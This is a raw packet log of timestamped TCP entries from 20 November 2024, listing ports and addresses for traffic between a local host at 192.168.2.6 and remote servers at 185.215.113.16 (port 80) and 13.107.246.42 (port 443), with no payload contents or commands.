Nov 20, 2024 08:12:36.698775053 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.698781013 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.698781013 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.698810101 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.698843002 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.698875904 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.698882103 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.698910952 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.698944092 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.698976040 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.698982000 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.698982000 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.699007034 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.699040890 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.699073076 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.699084044 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.699105978 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.699141979 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.699173927 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.699193001 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.699193001 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.699208021 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.699242115 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.699275970 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.699309111 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.699323893 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.699374914 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.699888945 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.699923038 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.699965954 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.699992895 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.700001001 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700037003 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700072050 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700103045 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.700108051 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700143099 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700159073 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.700177908 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700212002 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700215101 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.700215101 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.700248003 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700280905 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700314045 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700324059 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.700361013 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.700406075 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700439930 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700474024 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700508118 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700524092 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.700541973 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700547934 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.700576067 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700611115 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700644016 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700645924 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.700679064 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700712919 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700727940 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.700752974 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700756073 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.700787067 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700819969 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700854063 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700860023 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.700889111 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700901985 CET	443	49836	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.700913906 CET	443	49837	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.700931072 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.700963020 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.700998068 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701031923 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701065063 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701083899 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.701092958 CET	443	49838	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.701098919 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701117992 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.701133966 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701167107 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.701169014 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701210022 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701244116 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701266050 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.701291084 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701327085 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701376915 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.701378107 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701376915 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.701431990 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701466084 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701515913 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.701527119 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701560974 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701586008 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.701596975 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701648951 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701656103 CET	49837	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.701656103 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.701666117 CET	443	49837	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.701685905 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701719999 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701752901 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701765060 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.701786995 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701821089 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701853991 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701863050 CET	49836	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.701879025 CET	443	49836	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.701881886 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.701881886 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.701889038 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701924086 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701957941 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701967001 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.701994896 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.701997042 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.702029943 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.702063084 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.702095985 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.702125072 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.702128887 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.702157021 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.702157021 CET	49837	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.702164888 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.702166080 CET	443	49837	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.702200890 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.702208996 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.702236891 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.702270985 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.702281952 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.702306032 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.702409983 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.702678919 CET	49838	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.702687979 CET	443	49838	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.703015089 CET	49836	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.703018904 CET	443	49836	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.703077078 CET	49838	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.703082085 CET	443	49838	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.703515053 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.703547955 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.703587055 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.703598022 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.703639030 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.703679085 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.703712940 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.703748941 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.703789949 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.703789949 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.708064079 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.736179113 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.736192942 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.736207962 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.736227036 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.736238003 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.736237049 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.736254930 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.736360073 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.736387014 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.736398935 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.736411095 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.736423016 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.736434937 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.736447096 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.736463070 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.736463070 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.736483097 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.736517906 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.736530066 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.736588955 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.736597061 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.736612082 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.736711025 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.736711025 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.736722946 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.736737967 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.736748934 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.736754894 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.736788034 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.736788034 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.736958027 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.736984015 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.736995935 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737005949 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737019062 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737029076 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737029076 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.737075090 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737087011 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737097979 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737108946 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737113953 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.737113953 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.737122059 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737134933 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737158060 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.737158060 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.737327099 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737339020 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737349987 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737360954 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737371922 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737381935 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737394094 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737411022 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737416983 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.737416983 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.737422943 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737436056 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737447023 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737456083 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737468958 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.737468958 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.737476110 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737487078 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737498999 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737509966 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737519026 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.737519026 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.737521887 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737534046 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737546921 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737557888 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737570047 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737581015 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737592936 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737596035 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.737596035 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.737607956 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.737637997 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.737788916 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.738080978 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.738094091 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.738105059 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.738116980 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.738136053 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.738256931 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.741885900 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.741899967 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.741913080 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.741966009 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.741966009 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.741966009 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.741981983 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.741996050 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.742067099 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.742082119 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.742341042 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.757159948 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.782408953 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.782455921 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.782468081 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.782479048 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.782493114 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.782500982 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.782521009 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.782538891 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.782545090 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.782568932 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.782568932 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.782613993 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.782624006 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.782655954 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.782655954 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.782846928 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.782905102 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.782916069 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.782927036 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.782938004 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.782948971 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.782975912 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.782975912 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.783003092 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.783097982 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.783109903 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.783267021 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.783278942 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.783291101 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.783303022 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.783323050 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.783323050 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.783425093 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.783436060 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.783447027 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.783458948 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.783464909 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.783464909 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.783471107 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.783483982 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.783494949 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.783509016 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.783544064 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.783544064 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.783754110 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.783771992 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.783782005 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.783793926 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.783804893 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.783817053 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.783828974 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.783835888 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.783835888 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.783840895 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.783891916 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.783891916 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.784073114 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.784084082 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.784095049 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.784107924 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.784120083 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.784131050 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.784140110 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.784140110 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.784158945 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.784398079 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.784408092 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.784418106 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.784430027 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.784437895 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.784437895 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.784446955 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.784467936 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.784485102 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.784507036 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.784521103 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.784521103 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.784521103 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.802503109 CET	443	49836	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.802805901 CET	443	49836	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.802856922 CET	49836	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.802920103 CET	49836	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.802932978 CET	443	49836	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.802944899 CET	49836	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.802952051 CET	443	49836	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.807085037 CET	49841	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.807105064 CET	443	49841	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.807159901 CET	49841	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.807451963 CET	49841	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.807459116 CET	443	49841	13.107.246.42	192.168.2.6
